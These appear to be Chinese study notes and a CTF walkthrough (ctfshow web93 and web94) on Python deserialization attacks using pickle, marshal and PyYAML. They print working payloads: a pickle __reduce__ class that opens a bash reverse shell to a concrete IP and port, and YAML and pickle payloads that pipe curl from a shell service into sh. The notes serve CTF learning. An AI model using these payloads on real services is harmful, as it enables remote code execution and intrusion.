笔记
【python反序列化】
序列化
类对象->字节流（字符串）
反序列化
字节流->对象
python反序列化没PHP这么灵活，没这么多魔术方法。
import pickle
import os
class ctfshow():
def init(self):
self.username=0
self.password=0
def login(self,username,password):return username=="admin" and password=="123456"
c=ctfshow()
data=c.login(“admin”,“123456”) #返回True
print(data)
import pickle
import os
import base64
class ctfshow():
def init(self):
self.username=0
self.password=0
def login(self,username,password):return username=="admin" and password=="123456"#相当于PHP里面的__wakeup()
#返回值，第一个元素是 回调函数，第二个元素是回调函数的参数。
#第二个元素是一个元组，包含两个及以上元素。
def __reduce__(self):print("reduce")return os.system,('bash -i >& /dev/tcp/120.46.41.173/9023 0>&1',)
c=ctfshow()
#序列化，生成字节流。这种方式，直接CV容易丢失不可见字符。
#serialize = pickle.dumps©
#输出base64编码后的paylaod，可以CV。
#print(base64.b64encode(serialize))
#反序列化，执行命令
#pickle.loads(serialize)
#写入文件
with open(“ctfshow.ser”,“wb”) as f:
pickle.dump(c,f)
with open(“ctfshow.ser”,“rb”) as f:
pickle.load(f)
注意点：
向服务端传入payload，如果出现报错如【ModuleNotFoundError: No module named ‘nt’】
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。
服务端如果是linux，我们的序列化字符串（payload） 也得在linux操作系统里面生成。
python序列化常用的模板： //例题93
1 pickle
2 json
【特征：】
竟然不需要 恶意类
反序列化字符串里面包含类的所有定义，包括类的方法
php反序列化时，只能控制类的属性，利用现有的魔术方法做跳板
python反序列化时，直接可以不需要恶意类，也不需要现有的魔术方法，直接产生类的定义并执行__reduce__方法
Marshal 反序列化
pickle 类无法序列化 code类，为了弥补这个问题，2.6以后增加了marshal模块来处理
模板：
import base64
import pickle
import marshal
def foo():
import os
os.system(‘whoami;/bin/sh’) # evil code
shell = “”“ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S’%s’
tRtRc__builtin__
globals
(tRS’’
tR(tR.”“” % base64.b64encode(marshal.dumps(foo.func_code))
print(pickle.loads(shell))
PyYAML 反序列化 //例题94
!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签
payload：
data=!!python/object/apply:os.system [“curl https://your-shell.com/43.154.107.226:3389 |sh”]
题解wp
web93
题目要求我们在/unserialize路由POST提交一个参数data，data经过base64编码。
不知道题目的考点，先传参data=MQ==看看报错。MQ==是1的base64编码。
发现了关键代码，pickle反序列化。pytohn版本是3.8
#base64解码传进来的值，并且赋值给data
data = base64.b64decode(request.form['data'])
#反序列化data数据
pickle.loads(data)
#返回反序列化结束提示
return "unserialize done "+request.form['data']
生成payload的脚本：
import pickle
import os
import base64class ctfshow():def __init__(self):self.username=0self.password=0#相当于PHP里面的__wakeup()#返回值，第一个元素是 回调函数，第二个元素是回调函数的参数。#第二个元素是一个元组，包含两个及以上元素。def __reduce__(self):print("reduce")#弹shellreturn (os.system,('curl https://your-shell.com/vps-ip:port | sh',))c=ctfshow()#序列化，生成字节流。这种方式，直接CV容易丢失不可见字符。
serialize = pickle.dumps(c)
#输出base64编码后的paylaod，可以CV。
print(base64.b64encode(serialize))#反序列化，执行命令
#pickle.loads(serialize)#写入文件
#with open("ctfshow.ser","wb") as f:
# pickle.dump(c,f)
#with open("ctfshow.ser","rb") as f:
# pickle.load(f)
注意点：
向服务端传入payload，如果出现报错如**【ModuleNotFoundError: No module named ‘nt’】**
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。
服务端如果是linux，我们的序列化字符串（payload） 也得在linux操作系统里面生成。同时，python版本也需要一致。
KALI是linux，在KALI里面生成payload。
那就又来了一个注意点：
一开始一直报错：
partially initialized module 'pickle' has no attribute 'dumps' (most likely due to a circular import)
尝试过重装pickle库、重装pip，都没用。后来发现是文件名和pickle库的名字重了，文件名不能是pickle.py。
经过尝试，服务端应该是把nc和bash两个命令给ban了，只能用平台来弹shell。
web94
题目明显提示是python中的PyYAML 反序列化。
PyYAML 反序列化利用方面，危险标签有三种。
!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签
这次还是选择使用平台来反弹shell，估计还是把nc和bash两个命令给ban了。
经过尝试，能用的危险标签是!!python/object/new和!!python/object/apply
payload：
data=!!python/object/new:os.system ["curl https://your-shell.com/vps-ip:port |sh"]data=!!python/object/apply:os.system ["curl https://your-shell.com/vps-ip:port |sh"]
直接拿flag了。
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